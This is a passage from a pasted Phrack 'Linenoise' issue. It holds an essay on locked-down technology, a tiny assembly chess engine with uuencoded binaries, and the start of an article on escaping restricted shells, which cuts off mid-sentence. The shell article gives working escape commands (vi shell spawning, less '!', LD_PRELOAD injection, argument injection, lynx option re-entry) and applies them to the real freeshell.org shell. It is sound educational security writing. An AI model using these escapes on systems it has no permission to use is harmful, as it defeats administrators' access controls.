· 7 years ago · Nov 18, 2018, 11:33 PM
1 ==Phrack Inc.==
2
3 Volume 0x0f, Issue 0x45, Phile #0x04 of 0x10
4
5|=-----------------------------------------------------------------------=|
6|=-----------------------=[ L I N E N O I S E ]=-----------------------=|
7|=-----------------------------------------------------------------------=|
8|=-------------------------=[ various ]=-------------------------=|
9|=-----------------------------------------------------------------------=|
10
11
12An old Phrack Staff member and friend used to say that "a strong Linenoise
13makes a good release".
14
15We begin our journey with an interesting philosophical article, "Hacker
16Luddites" by an anonymous author. TL;DR, ever had an iPhone? Have you
17realized you don't actually own something you paid several hundreds of
18bucks to acquire? The "cloud era" trend, which has convinced many people
19as well businesses, to literally grant owning rights for their data to
20large corporations, is now everywhere. How is it affecting our state of
21mind and where is this going?
22
23Our technical part is very strong. Baudsurfer developed an interesting ASM
24chess game in just 256 bytes; read the heavily-commented code and feel the
25nostalgia in your bones. More old-school goodness in a lovely article
26dealing with secure shells and how one can exploit common misconfigurations
27to bypass various limitations and break out of restricted environments.
28Articles like this have a lot to offer to the hacking community. We urge
29our dear readers to follow DangerMouse's example and submit more articles
30like his!
31
32The next article has a strange back story. We received this submission
33long ago and we decided to publish it. Admittedly, a lot of time has passed
34since then. The author has stopped replying to mails, but he was originally
35positive about publishing his work. Read it and see how you can cause
36short ID key collisions in GPG. As our everyday computing machines become
37increasingly powerful, such attacks become more and more realistic.
38
39Following that are two excellent short articles exploring subjects every
40exploit developer is doomed to deal with, namely boundary conditions and
41shellcoding. Our rotten haxor chown has written a nice guide on how to use
42Microsoft's Z3 solver to facilitate the process of exploit development.
43Recently (well, maybe not so recently, lulz), there has been a shift
44towards more formal methods even by old-school haxors who have always
45preferred and obeyed the KISS (Keep It Simple, Stupid!) primitive. Hackers
46have understood that the process of vulnerability discovery as well as
47exploit development can be augmented by modern mathematics and maybe become
48even more interesting! One cannot easily forget p64_0x08.txt, right? In the
49next article, fishstiqz shows us how you can simply use your compiler to
50easily build shellcodes for Windows. If you ever thought shellcode
51development on Microsoft's operating system is a pain in the ass, then
52this article is definitely for you.
53
54Last but not least we have an opinion piece on the vulnerability
55disclosure circus, the incentives and the related moral questions (lulz)
56by two anonymous contributors. It is balanced and dispassionate and we
57urge you to read it in the same manner.
58
59That's it you greedy mofos, another strong Linenoise! Enjoy!
60
61
62--[ Contents
63
64 1 - Hacker Luddites ................................... anonymous
65
66 2 - Chesslin .......................................... Baudsurfer
67
68 3 - He Compels Secure Shells .......................... DangerMouse
69
70 4 - Personalized PGP Key IDs .......................... f1los0tt1l3
71
72 5 - How to cheat at maths ............................. chown
73
74 6 - Shellcode the better way, or how to just
75 use your compiler ................................. fishstiqz
76
77 7 - Resisting the Hy(p|v)e ............................ anon & anon
78
79
80|=[ 0x01 ]=---=[ Hacker Luddites - anonymous ]=--------------------------=|
81
82
83In the west, far gone are the days of slavery. Men live freely with their
84minds and bodies. So the idea of technology potentially limiting these
85things is absurd.
86
87Computer technology today might not always encourage these principles of
88free mind and body though. Hardware and software is increasingly built in
89the same manner as stone walled gardens, restricting those outside the
90inner circles of technocrats. The designers decide to clutch tightly to
91their systems, defining the full set of actions allowable and therefore
92thinkable on their systems. They are limiting the potential for
93creativity, discovery, and reason in order to further profit. This profit
94is furthered by control because certain control limits piracy, stops
95malicious software from propagating, simplifies the user experience for
96the majority of consumers, and creates revenue through software-regulated
97micro decisions that constrain the full capacity of the hardware and
98software systems being sold.
99
100Only the masters of the garden, the designers, are allowed inside the
101stone walls, where they are free to create and are conscious of the inner
102workings and plans. Those outside are not allowed inside the garden. Those
103who are not inside the circle of the original creators do not get to
104create without delegated permission. And consumers and third-party
105developers are too far down the caste system to be allowed arbitrary
106control of their own possessions.
107
108This leaves the creators on the outside of the stoned walls dependent on
109brilliant and dedicated minds to bypass the wishes of the designers. These
110brilliant minds attain a level of consciousness about the constraints of
111the system that the designers themselves did not understand, and pass this
112on to the masses. Along the way come miscreants, thieves, and pirates.
113
114In a free market system, if more arbitrary creation is vital in the long
115term, then more creative systems will arise to fill the need. In the short
116term, allowing feedback from the outer castes and integrating their ideas
117has been shown to be more than sufficient for sustained exponential growth
118on the rise to market domination.
119
120
121Hacker Luddite: (Oxymoron) A person opposed to technology that greatly
122limits, through artificial means, human potential for consciousness,
123reason, or creativity with that same technology.
124
125Hacker Luddites hate stone wall garden technologies. Why shouldn't a
126person be allowed to hold a piece of technology and attempt to modify or
127adapt that technology to suit their will at any given moment? The only
128limitation should be the consciousness required to make changes. And
129certainly not artificially restricted by the designers of the technology.
130In the same way that Kant based the premises of the categorical imperative
131on the ability for humans to reason, Hacker Luddites view this capacity
132for reason as a fundamentally important human ability. When computer
133technology, purchased and entirely in the physical possession of the
134owner, denies arbitrary modification and creation, it greatly reduces the
135ability to reason about the universe with that technology. That technology
136does not allow people to transcend the designers ideas and fully embrace
137some of their most important human traits. Instead it delegates the
138consumers to subordinates with restricted consciousness, and restricted
139capacity for reason, and restricted creativity.
140
141
142Next up, computer technology applied excessively for the conversion of
143human attention into personal profit.
144
145To the hacker luddites, another nefarious category is the computer systems
146of the world which have been built to turn human attention into profit.
147Rather than proceeds coming from the advancement of humanity, the proceeds
148come primarily from the ability to guide human attention into that
149technological system. The system might be making the profit through ads,
150or it could be a game consumers pay for.
151
152It is understood that resources are required to run technologies and that
153some exchange of information and resources is expected between consumers
154and creators of that technology. Ads can be helpful to a consumer by
155showing them products which they actually want, and games or sites for
156information exchange are highly enjoyable to many people and therefore
157provide benefit. It is when the methods and means become excessive that
158hacker luddites take an issue.
159
160When technologies, whether delivering advertisements or games, exploit
161human psychology and physiology to turn a profit from their consumers,
162they may often be directly limiting, and in a significant way, the
163consciousness, reason, or creativity of that consumer.
164
165The other problem is when instead of advertisements showing people what
166they want, advertisements subconsciously manipulate peoples desires (such
167as sex, popularity, and power) to override their consciousness and
168reasoning abilities to get them to want and purchase products regardless
169of the products abilities to help the consumer attain those desires.
170
171And what if technologies instead of providing an opportunity for
172relaxation or fun or profound information sharing or whatever also create
173systems of psychological control where neurophysics brings users attention
174back to technology to get addictive releases of dopamine or serotonin or
175who knows what, using the darker arts of gamification. Or perhaps innate
176human survival mechanisms related to group dynamics are being exploited by
177the technology, such as showing automatically generated advertisements,
178messages, and symbols as endorsed by members of a group, or creating
179virtual resource systems where drives for competition or collaboration
180drive behavior.
181
182It may be that these technologies which capture human attention are simply
183what most consumers want from their technology, after all 30% of internet
184traffic generated by humans is for porn [1]. If distraction and the
185subordination of reason, creativity, or consciousness is the will of the
186majority, Hacker Luddites seriously disagree with the majority and most
187definitely oppose the designers that subordinate them.
188
189What defenses does the modern person have to protect against the likes and
190tweets and clicks and slide to unlocks and checkmarks and tabs and porn
191and endless dopamine and serotonin harvesting mechanisms? These systems
192were sometimes built to reap monetary gain, sometimes built for
193communication control, and sometimes for nothing of any value... in
194exchange for a portion of the time, attention, and thoughts of the user as
195well as their information...
196
197
198Don't buy and don't use them.
199
200If you do use them, use the them only in great moderation and only at
201consciously specified times.
202
203Inform others and expose existing and emerging technologies which may be
204limiting human potential.
205
206Augment the technology in your possession to block advertisements.
207
208Degrade the quality or value of your attention to the attention-to-profit
209technologies by:
210
211- Sharing and proxying accounts with multiple users.
212- Writing user interfaces to the user interfaces.
213- Poisoning user activity with subtle fuzzers alongside your normal
214activity where it makes sense.
215
216Similarly, make your information more useless by lying.
217
218- Don't bother with real names where they don't matter.
219- Fill out forms like madlibs.
220
221[1] http://www.extremetech.com/computing/123929-just-how-big-are-porn-sites
222-- 30% of the internet traffic out there is porn
223
224
225|=[ 0x02 ]=---=[ Chesslin - Baudsurfer/Red Sector Inc. ]=----------------=|
226
227
228 [ CHESSLIN ]
229 [ by Baudsurfer/Red Sector Inc. ]
230
231
232|=--[ Introduction
233
234This is a sizecoding exercise to code a playable chess engine in 256 bytes.
235This POC is very experimental and bears several shortcomings when comparing
236with any other real FIDE existing chess game engine : you have been warned.
237It plays like a fish as AI is reduced to a half-ply max solely, it also has
238no end-game detection, pawns move only a single square, it cannot castle or
239do promotions - let alone en-passant - and takes about a hundred seconds to
240play. It also only works on Microsoft Windows XP SP3. Like minimalist Edlin
241line editor Cheesslin focuses on a single console line. Whites start at the
242bottom of the virtual chess board but SAN notation order is inverse ranks :
243
244 A B C D E F G H
2451 r n b q k b n r
2462 p p p p p p p p
2473
2484
2495
2506
2517 P P P P P P P P
2528 R N B Q K B N R
253
254So in order to test Chesslin one can uudecode below binaries to input first
255algebraic notation "h7h6" characters starting game by moving the White pawn
256on H file from seventh rank to sixth rank. A longer example string sequence
257of gameplay is "h7h6h2h3g8f6h3h4f6g4h4h5g4h2g1h3h2f1h3g5". Remember if your
258keyboard input is not legal chess then Chesslin will silently expect you to
259enter again a conforming four ascii character string just to proceed. Thus,
260if only a single faulty character was entered you will need to fill-in with
261three more "dummy" characters before re-typing a desired algebraic notation
262for validation only occurs every four-chars exactly. All bugs are ofc mine.
263
264|=--[ Chesslin binaries
265
266begin 644 CHESSLIN.COM
267hMDCeaMbsgG-ai0J1BZ7aow+Y1ue7REu7PJsA06V3Ps1d+y9YjjjzJfY2+8nB
268h8S9vUD66LrIfqSvTRTeyxTyhCC-m1CV1+565W2LtqkLP54Pz-LLbgE8hp-+3
269hM0afsjTf2MbyWTSl-7XB3efWyiUN+59lu+A+O0E-fGpVARIEWQS2mLI0VWoY
270hWABUjjjzgEXcGk-oFX10VAdpE6bvWAPcD+-o-X10VAdpAGbTcjLzWD+Y-uU-
271hR+8l-1k-iyI-ptRp2DP405I0Ney2vPY0+5I0GOw-rz8iR+Hf+JXtMQDcaDxp
272Uxkyk-QAJ-lAD1kzTsSvm1V6T6T+Ezk2D2T5jwC+D2F+D
273+
274end
275
276begin 644 CHESSLIN.COM
277M8/.JF8GXL2!FN"5#-E)FT\`D#ZJ)=0Z);5X,"(A%;X#I`^+DOOO_5KD$`*S-
278M*>+[@/((7W4KV>[?=?J^]?^M..!R#.A#`'('B$7YVP7;'&;_!77GL0*MU!`%
279M8"FKXO?K$8G^B?>Q!)C-%JKB^N@9`'+QZ`,`:"0!K2UA,=40B<>$R74"ABTD
280MB,-@OOO_L0CH2P!T1C#"A,IU0(G[B,;H/`!T!C#"A,IU,2G?HO7_B/`D!Z@!
281M=`*Q!#P!N^4!UY=U$/;&"'4"9J^$[;D"`'4"2:\!W_*N=`3K`5CY8</HF/]U
282@]P^P!<,5!Q,/#P_?X>[R#A(?(?`0_P$/$?'O\.`/$1`/
283`
284end
285
286|=--[ Chesslin source code
287
288; "You don't need eyes to see You need vision." - Faithless _
289; Special greets to : Impure ASCII 1940 and Divine Stylers! | |
290; Greets : Alco Bon^2 BReWErS CODEX Flush Lineout Mandarine .--' `--.
291; Onslaught Paranoimia Quartex Rebels Razor1911 RiOT Titan. `--. .--'
292; _ _ _ _ _ ___| |___
293; ______)\___ )\_________)\_______________)\_________)\ / \
294;/________ __\\ __________ _________ ____ /____ ____ / \ /
295; ______)\\__ \____ ___)\_____ _)\ /(_____)\ /(____ \ /
296; _/ _ _/ / _ \_\____ _ \_\ \/ _/\ \/ _/ \ /
297; \ \ \___\__ \ / \) __\___ __ /_\___ __ /_____ __> <__
298; \ \_/ / \ / \/ /__\)_ _/__\)_ / (___ ___)
299; \ / /____/\ /\ /\ / /\/ X /\/ / | |
300; /_________/ \__/ \_______/_\____ ___/ \________/ ::::;| |
301;: ___)\ __)\____________ | |;: :
302;.-------------------------------, \ \\_\ \_____ ____/ gRK | |
303;\Red Sector Incorporated presents\ \ \_(__)_ _)\ ___ ( )
304; \Chesslin minimalist chess engine\ \ \ (__) \_/ /_ _/ \_
305; \A 256 bytes DOS tiny intro XPSP3\ \ \ \ _ / \ _> <_
306; \For Phrack Magazine #0x45 _ 2016\ \ \/ \ \ \_(___________)
307;;;;,\Coded by Baudsurfer\RSi \\ &FU \ \ /\ \ \_____X___________>
308; `------------------------' `----' \_/ \_____\___/
309w equ word ; 16-bit prettifying helper,Chesslin v1.0 in 2016
310d equ dword ; 32-bit prettifying helper,fasm assembler syntax
311 org 100h ; binary ip execution seg start address above psp
312 pusha ; para down stack and avoid input buff collisions
313 rep stosb ; prepare board empty squares assumes ax=0 cx=255
314 cwd ; set Black=0=top active player turn, White=8=bot
315 xchg ax,di ; shorter mov di,ax prepares writing segment base
316 mov cl,20h ; 32 initialization decoding bit rotations in all
317a:mov eax,52364325h ; back-rank "rnbqkbnr" nibble-encoded 32b pattern
318 rol eax,cl ; rotate next Black chess piece value in lsnibble
319 and al,15 ; isolate a Black chess piece value from lsnibble
320 stosb ; left-to-right write Black back-rank major piece
321 mov [di+0eh],si ; left-to-right write Black pawns assumes si=100h
322 mov [di+5eh],bp ; left-to-right write White pawns assumes bp=9xxh
323 or al,8 ; transforms Black back-rank major piece to White
324 mov [di+6fh],al ; left-to-right write White back-rank major piece
325 sub cl,3 ; fixes back-rank pattern nibble rotation counter
326 loop a ; file-by-file ranks init loops 20h/(3+1)=8 times
327b:mov si,0fffbh ; point source index to algebraic notation buffer
328 push si ; shorter save of algebraic notation buffer start
329 mov cx,4 ; print dword ascii algebraic notation buffer str
330c:lodsb ; get one of four usr/cpu bytes from ascii buffer
331 int 29h ; dos api fast console out display char al=[di++]
332 loop c ; continue until ascii file-first pair chars left
333 xor dl,8 ; alternate active player turn Black=0 or White=8
334 pop di ; shorter restore algebraic notation buffer start
335 jnz h ; if active player turn is White then do keyboard
336 fldz ; else Black active player turn fpu load +0.0 cst
337 fbstp [di-6] ; and store back 80-bit packed bcd decimal number
338e:mov si,0fff5h ; zeroed this,best score 0fff5h and coords 0fff7h
339 lodsw ; move lsb=potential capture vs. msb=best capture
340 cmp al,ah ; compare this capture value against best capture
341 jc f ; prune calculations if capture already lower val
342 call n ; else verify the attack potential chess legality
343 jc f ; capture higher value but move was illegal chess
344 mov [di-7],al ; successful calculation thus store newer highest
345 fild d [di] ; successful calculation thus load current coords
346 fistp d [si] ; successful calculation thus store highest coord
347f:inc d [di] ; resume exploring exhaustive [0;0ffffh] interval
348 jnz e ; including subset ["1a1a";"8h8h"] until finished
349 mov cl,2 ; convert int32 to two file-first algebraic words
350g:lodsw ; get first int16 msw/lsw algebraic notation word
351 aam 16 ; integer to expanded zero-based file/rank nibble
352 add ax,2960h ; translate file/rank to ascii chess board origin
353 stosw ; write pair=half of the ascii move buffer string
354 loop g ; get next int16 msw/lsw words algebraic notation
355 jmp k ; and proceed examining ascii move buffer strings
356h:mov si,di ; di points to 0fffbh for both input and verifify
357i:mov di,si ; resets every input to algebraic notation buffer
358 mov cl,4 ; one file-first algebraic notation is four bytes
359j:cbw ; zero accumulator msb to set funct get keystroke
360 int 16h ; al=dos bios keyboard services api blocking read
361 stosb ; src file=fffb;rank=fffc dst file=fffd;rank=fffe
362 loop j ; all file-first algebraic ascii quartet inputed?
363 call n ; else verify algebraic ascii move is legal chess
364 jc i ; if not then proceed to ask user input move anew
365k:call l ; converts algebraic notation buffer ascii source
366 push w b ; redirect second fall-through return to printout
367l:lodsw ; algebraic notation buffer ascii source then dst
368 sub ax,3161h ; convert to zero-based alphanumerical 3161h="a1"
369 aad 16 ; convert to x88 board representation (al+=ah*16)
370 mov di,ax ; add x88 chess board representation memory start
371 test cl,cl ; verify caller's asked mode is passive or active
372 jnz m ; call asked mode mutex is passive so skip writes
373 xchg [di],ch ; call asked mode mutex is active so write board!
374m:and al,88h ; test if inside main chess board x88 bitmask use
375 ret ; return to standard callers or printout redirect
376n:pusha ; save reg vals in: si=fff7h/fffbh di=fffbh/ffffh
377 mov si,0fffbh ; point source index to current ascii move buffer
378 mov cl,8 ; set passive mode count mutex for only verifying
379 call x ; convert buffer ascii src pair to x88 memory add
380 jz u ; source is non-conforming : illegal empty square
381 xor dl,al ; sets move conformitiy using active player color
382 test dl,cl ; test move conformity using active player colour
383 jnz u ; source is non-conforming : opponent turn colour
384 mov bx,di ; else if source conforming then save piece addr.
385 mov dh,al ; else if source conforming then save piece value
386 call x ; convert buffer ascii dest to x88 memory address
387 jz o ; if move nature not an attack skip over captures
388 xor dl,al ; sets move conformitiy using active player color
389 test dl,cl ; test move conformity using active player colour
390 jnz u ; destination is non-conforming : same turn color
391o:sub di,bx ; source & destination conforming so obtain delta
392 mov [0fff5h],al ; save piece value as non-transactional potential
393 mov al,dh ; restore previous saved move source piece nature
394 and al,7 ; normalize gray piece nature colorless isolation
395 test al,1 ; determine source piece's parity interval length
396 jz p ; piece face=piece nature=piece value=piece score
397 mov cl,4 ; override halfing default interval len if parity
398p:cmp al,1 ; test if moving piece is a special handling pawn
399 mov bx,y ; piece memory address off-by-one index ret fixed
400 xlatb ; move piece original start offset memory address
401 xchg ax,di ; offset becomes accumulator becomes displacement
402 jnz s ; leave if move source piece not special handling
403 test dh,8 ; else adjust move source pawn color displacement
404 jnz q ; no White pawn displacement sub-interval fixings
405 scasd ; displacement interval offset+=4 for black pawns
406q:test ch,ch ; verify if pawn is attacking an opponent piece ?
407 mov cx,2 ; loop index clears msb placeholder also sets lsb
408 jnz s ; if non-empty square : pawn attacking diagonally
409 dec cx ; else decrease parity interval size special case
410r:scasw ; displacement interval start+=2 prunes attacking
411s:add di,bx ; set displacement interval scanning start offset
412 repnz scasb ; verify move exists in displacement sub-interval
413 jz v ; ZF set legal src piece displacement delta found
414 jmp u ; illegal src piece displacement: delta not found
415t:pop ax ; bail shotcircuits nested dataflow function call
416u:stc ; carry mutex persists indicating move is illegal
417v:popa ; persistant CF mutex is indicator to legal chess
418 ret ; restore move mode mutex cl=passive or cl=active
419x:call l ; verify this move legal within inside main board
420 jnz t ; exits for illegal move piece outside main board
421 cmpxchg [di],al ; discriminate from special case zero return vals
422y:db 195,21,7,19,15,15,15 ; p[1]PF4,n[2]PF8,b[3]PF4,q[4]PF8,r[5]PF4,k[6]PF8
423z:db -33,-31,-18,-14,14 ; prev label is ret+1 parity displacement offsets
424 db 18,31,33,-16,16,-1,1 ; z array is displacement overlap interval values
425 db 15,17,-15,-17,-16 ; knight rook+8 bishop+12 pawns White+12 Black+18
426 db -32,15,17,16 ; queen and king moves are rook+bishop+pawn moves
427
428
429|=[ 0x03 ]=---=[ He Compels Secure Shells - DangerMouse ]=---------------=|
430
431
432|=-----------------------------------------------------------------------=|
433|=----------------------=[ He Compels Secure Shells ]=-------------------=|
434|=-----------------------------------------------------------------------=|
435|=------------------------=[ by DangerMouse ]=---------------------------=|
436|=-----------------------------------------------------------------------=|
437
438
439--[ Table of Contents
440
441--[ Introduction
442--[ Exploration - Primitive Gathering.
443----[ Execution Primitive
444----[ Write Primitive
445----[ Read Primitive
446--[ A real life example - freeshell.org
447--[ A real life example - Private shell box
448--[ Attacking the transport
449--[ Conclusion
450--[ References
451--[ Appendix A - Common commands with useful primitives
452--[ Appendix B - psh Source code
453
454--[ Introduction
455
456Welcome reader, in this small text we will look at a scenario which is
457probably familiar to most of you. That is, breaking out of secure shells.
458
459For those of you who don't know, a common scenario exists where an
460administrator of some kind of device wishes to grant restricted access to
461the functionality of that device. To accomplish this he/she will create a
462shell (graphical or cli) which provides a subset of the features of the
463system to the user. This may be as simple as replacing the user in
464question's UNIX account shell with a custom written readline() loop which
465executes options from a set list of commands.
466
467There are numerous pit-falls associated with this practice which provide us
468with a means to escalate our privileges from within the restricted shell.
469In this write-up we will examine some of these pitfalls, as well as look at
470the general process for investigating a restricted shell and eventually
471breaking out to a higher entitled environment. To illustrate these points
472we will look at some real life examples of secure shells and how we can
473break them.
474
475Some examples of pre-packaged, existing restricted shells are:
476rbash/rssh/smrsh/rksh, however there also exists an endless array of custom
477shells written for one off cases.
478
479--[ Exploration - Primitive Gathering.
480
481When investigating a secure shell environment, I find it best to
482systematically explore each of the options within the shell looking to
483collect certain primitives with which to elevate the options available.
484
485----[ Execution Primitive
486
487Typically the most useful primitive which we gain is the execute primitive.
488Sometimes the ability to execute arbitrary commands is enough to break out
489of the shell, for example executing a more complete shell such as bash from
490within a restricted shell can often be enough to completely invalidate the
491security of the system. Some examples of how to gain this primitive are:
492
493 - Using the shell execute feature of many common shell commands, for
494 example using the "!<shell command>" feature of the less pager.
495 - Invoking the execution of a text editor (often defined by the EDITOR
496 variable) from within another application. Then using shell execute
497 features of the editor to escape.
498 - Combining other primitives to hijack execution of exposed applications.
499
500Here is a commonly used example of using the vi command to gain an
501execution primitive:
502
503 ~$ vi
504 :set shell=/bin/sh
505 :shell
506 bash$
507
508From a GUI perspective, many years ago, after drinking at a conference we
509decided it would be fun to create a game around breaking out from the many
510netcafe's which littered the streets at this time. These netcafes used to
511provide a restricted windows GUI with functionality removed, and the goal
512was to race to break out, without using any real 0day.
513
514Often in this scenario an easy win was provided by invoking the mirc32.exe
515application (when it was whitelisted) and then using the /exec command to
516invoke cmd.exe. Another option was to set the handler for telnet:// uri's
517in the browser to cmd.exe and spawn it that way.
518
519Another byproduct of using software in an unintended way is that the
520security evaluation of the product technically neglects the permiters that
521are being exposed to an untrusted user. This means that often there are
522trivial memory corruption bugs exposed in the application which go
523unreported since even when people find them they do not care a great deal.
524
525eg:
526
527 $ perl -e'print "A"x50,"\n"' | ftp
528 Segmentation fault: 11
529
530It is definitely worthwhile auditing some of the commonly included commands
531in secure shells for easily triggerable memory corruption bugs, since these
532can often be all that's needed to gain the execution primitive and win.
533
534Another common method of gaining the execution primitive is to abuse
535environment variable control to influence the dynamic linker. Typically
536this means setting the LD_PRELOAD/DYLD_INSERT_LIBRARIES/Whatever variable
537that provides a mechanism for injecting shared objects into a process as
538soon as the dynamic linker loads. Obviously for this to work we also need a
539write primitive before hand to store the library we wish to load somewhere.
540The tmux example later in the paper shows a real life case where this was
541possible.
542
543----[ Write Primitive
544
545Obviously in some cases we cannot easily gain the execute primitive. In
546these cases we also looking for additional primitives which we can leverage
547to eventually gain an execution primitive.
548
549Finding a write primitive is usually pretty easy. Most applications need
550some way to retain state between runs. Some examples are:
551
552 - Input redirection operators ('>', '>>', '>|', '<>', '>&', '&>', etc)
553 - Save ability of applications, text editors, etc
554 - Log files
555
556In one case I saw, a write primitive alone was enough to break out of the
557restricted shell. By writing to a .unrestricted_user file within the home
558directory of your user account, the next login was presented with a bash
559shell. This is not typically the case though.
560
561When a write primitive is aquired it is also worth keeping in mind the
562trick mentioned in [3]. If any of the invoked shell commands use wildcard
563expansion on a directory, it can sometimes be possible to create files
564beginning with the '-' character, to pass arguments to those commands.
565
566As you will see in the real life examples below, write primitives are
567typically available in most applications, and can easily be leveraged in a
568variety of ways to continue breaking out of the shell.
569
570----[ Read Primitive
571
572When talking about a read primitive, we need some way to read an arbitrary
573file from the file system and display its contents on the screen.
574
575Sometimes this can be relatively straight forward, for example in a shell
576which uses /usr/bin/less as a pager, you can use the :e (examine) command
577to open an alternative file. However often with less you can execute a
578command with ! as well, but in a case where you are unaware of the file
579system, you can use the e command to brute force directory structure to
580find things which are worthwhile executing.
581
582Other applications are less straight forward, sometimes the read primitive
583may be filtered, or evaluated as a config file for the program. In these
584cases, sometimes contents of the file can only be retreived via error
585messages. Basically whenever you see a file path being provided to an
586application, you can test it wtih some known files to see if there is a way
587to retreive the contents.
588
589Even when it is im-possible to retrieve the contents of a file, sometimes a
590program will respond differently when a file exists or not. This may be
591easily noticed, or something subtle like return codes. This leak can be
592used to map out the file system.
593
594--[ A real life example - freeshell.org
595
596Now that we've looked at a more generic approach to defeating secure
597shells, we will look at some real world examples. The first of which is the
598restrcited shell "psh" which is used in the freeshell.org environment. (SDF
599Public Access UNIX System).
600
601Before we get started looking at freeshell.org, i'd just like to say, I
602have nothing but respect for freeshell.org. I have been playing with the
603restricted shell on there for around 12 years, and have broken it a number
604of ways. Several times I have contacted the admins to let them know. To me
605this has provided a constantly evolving wargame which has been hours of
606fun.
607
608The process of setting up an account on freeshell.org is really simple.
609By ssh'ing into the freeshell.org box as the user "new" you are redirected
610to a sign up process.
611
612$ ssh new@freeshell.org
613
614You will now be connected to NEWUSER mkacct server.
615Please login as 'new' when prompted.
616
617[RETURN]
618
619THIS MAY TAKE A MOMENT .. Trying 192.94.73.20...
620Connected to 192.94.73.20.
621Escape character is 'off'.
622
623NetBSD/amd64 (ol) (pts/2)
624
625login: new
626
627Welcome to the SDF Public Access UNIX System - Est. 1987
628You are the 79th guest today, logged in on 02-Sep-15 17:05:23.
629
630Are you using Windows 2K or XP? (Y/N) N
631
632------
633
634This new user process takes us to the first restricted shell. FEP.
635Typing `help` shows us the following menu:
636
637FEP Command: help
638
639+--------------------------------------------------------------+
640|COMMAND | DESCRIPTION |
641+--------------------------------------------------------------+
642|what | what is the SDF public access UNIX? |
643|w2k | important info for Windows 2k/XP users |
644|mkacct | create your own UNIX shell account |
645|dialup | US & Canada SDF dialup access |
646|teach | for teachers and UNIX class instructors |
647|traceroute {host} | map a route to a specified host |
648|whois {host} | list whois directory entry for a domain |
649|ruptime | display system status |
650|finger {user} | check if a login is available |
651|software | ported and installed software packages |
652|mil | information about our US Military Waiver|
653|logout | disconnect from sdf.org |
654+--------------------------------------------------------------+
655
656As you can see this provides us with some basic applications which we can
657run, but also allows us to kick off the mkacct process to make our own
658account.
659
660By running the finger command on our current user (new). We can see that
661the new user has a shell of /sys/new/mkacct, which is the restricted shell
662we are in.
663
664FEP Command: finger new
665Login: new Name: SDF newuser
666Directory: /sys/new Shell: /sys/new/mkacct
667On since Wed Sep 2 17:05 (UTC) on pts/2 (messages off)
668No Mail.
669
670The next thing we can see, is that they have not sanitized the arguments to
671finger. This means that we can pass arguments to the commands listed in the
672menu, this is a common mistake that people make when making restricted
673shells.
674
675FEP Command: finger -?
676finger: unknown option -- ?
677usage: finger [-lmpshog8] [login ...]
678
679If we enter finger by itself, we are prompted with the usage, rather than
680displaying all users on the system logged in.
681
682FEP Command: finger
683usage: finger {user}
684
685However by passing in --, telling getopts to terminate arguments, we can
686accomplish the same thing, and list users logged into the system.
687
688FEP Command: finger --
689Login Name Tty Idle Login Time Office Office
690Phone
691new SDF newuser *pts/2 - Wed 17:05
692smj Stephen M. Jones pts/0 33 Tue 21:39
693smj Stephen M. Jones pts/4 33 Wed 16:34
694
695This shell is not the focus of the write-up however, instead, if we run the
696mkacct command, we are prompted for a user-name and password, and able to
697log into our shiney new psh shell.
698
699---
700
701You are about to create a UNIX shell account. This account may be unlike
702anything you've used before. We urge you to carefully read all the text
703displayed on your terminal, as it will aide you in your learning.
704We also encourage you to try all the commands available with your new
705account. There are many types of games, applications and utilities
706you will be able to instantly run in just a few moments. If you are
707looking for a particular command or version of a command that we do not
708have, there are ways to request that it be installed. We also offer DIALUP
709and DSL in the USA and Canada which you will be able to learn about
710shortly. Be patient, read what is displayed - Explore and Enjoy!
711
712[RETURN]
713
714First, you need to choose a LOGIN. A LOGIN allows you to LOG IN
715to the system. Your LOGIN can be 1 to 16 characters in length and
716can be composed of alpha-numeric characters (middle period is OK).
717
718What would you like to use for your login?
719
720...
721
722Type 'help' for Commands.
723Type 'com' to chat with other users.
724Type 'ttytter' to listen to Twitter Tweets anonymously.
725Type 'mud' to play the SDFmud.
726Type 'mkhomepg' to set up your personal website.
727
728
729Did you know you can become a permanent LIFETIME member of SDF
730by making a onetime donation of $36? Type 'arpa' for more info!
731
732sdf:/udd/d/dangermouse>
733sdf:/udd/d/dangermouse> help
734SDF psh Version 8 - *PREVALIDATED SHELL ACCOUNT*
735
736 what - what can I use this account for?
737 unix - a listing of UNIX commands available to you NOW
738 how - information on increasing membership
739 teach - using SDF in a classroom setting
740 dialup - information about SDF dialup service
741 arpa - about lifetime arpa membership
742 bboard - sdf user message boards
743 commode - chat with other users online
744 ysm - chat on the ICQ network
745 bsflite - chat on the AIM network
746 msnre - chat on the MSN network
747 ttytter - listen to Twitter tweets anonymously
748 lynx - browse the WWW textually or access GOPHER
749 bksp - set your BACKSPACE key
750 faq - frequently asked questions
751 software - display software programs installed on the system
752 quote - get a real time stock quote
753 games - a listing of available games
754 thxmoo - connect to the THXMOO
755 mud - connect to the SDFmud
756 validate - gain additional shell access (also try 'user' for details)
757
758sdf:/udd/d/dangermouse>
759
760----
761
762As you can see, this shell gives us access to a variety of unix utilities
763as well as perform some basic shell commands such as cat/cd/etc. However
764this is a little deceiving as many of the commands are filtered. We can
765change directory anywhere on the system, which is useful for exploring the
766directory structure, however when we try to cat files to view their
767contents we can see that only files in our home directory are available.
768
769The first method which I found for breaking out of psh revolved around
770the "lynx" text based web browser. My first thought was to open file://
771based urls however they have disabled the ability to browse to arbitrary
772locations.
773
774My next thought was to spawn a shell with !, however when you attempt this,
775the message "Spawning is disabled!" is shown. From this it was possible to
776determine that lynx was being spawned with the "-restrictions=all" command
777line argument. However, due to the nature of getopts() (the c library
778function for parsing command line arguments) it is often possible to
779re-enter the case associated for a particular argument. With this in mind
780we could specify a new value for -restrictions, and spawn a shell with the
781"!" key from within the new lynx. This has long been fixed in both lynx and
782the SDF shell, psh.
783
784The most recent way in which I escaped the psh shell was much more
785complicated than the lynx method. The first step was to identify where the
786source code for psh is located. Trying to change directory to an invalid
787directory leaks this information, as seen below.
788
789faeroes:/usr> cd doesnotexist
790/usr/local/bin/psh[611]: cd: /usr/doesnotexist - No such file or directory
791
792Next, I needed to view the source code of the psh, in order to look for
793potential ways to escape. Attempting to use "cat" or "pico" to view this
794file however, shows that they have placed restrictions around viewing files
795outside of the home directory.
796
797 sdf:/usr/local/bin> cat /usr/local/bin/psh
798 usage: cat {filename}
799
800Looking back at our list of possible applications to exploit for our
801primitives I quickly fell apon the next most complex in the list, the
802"mutt" mail client.
803
804By pressing the E key on an email in mutt, it's possible to invoke the
805command stored in the EDITOR environment variable, in the case of psh, this
806is:
807
808 EDITOR=/usr/pkg/bin/pico
809
810However, since pico is executed from within mutt, the -o (sandbox) option
811is not used. This means that from within the spawned pico process we can
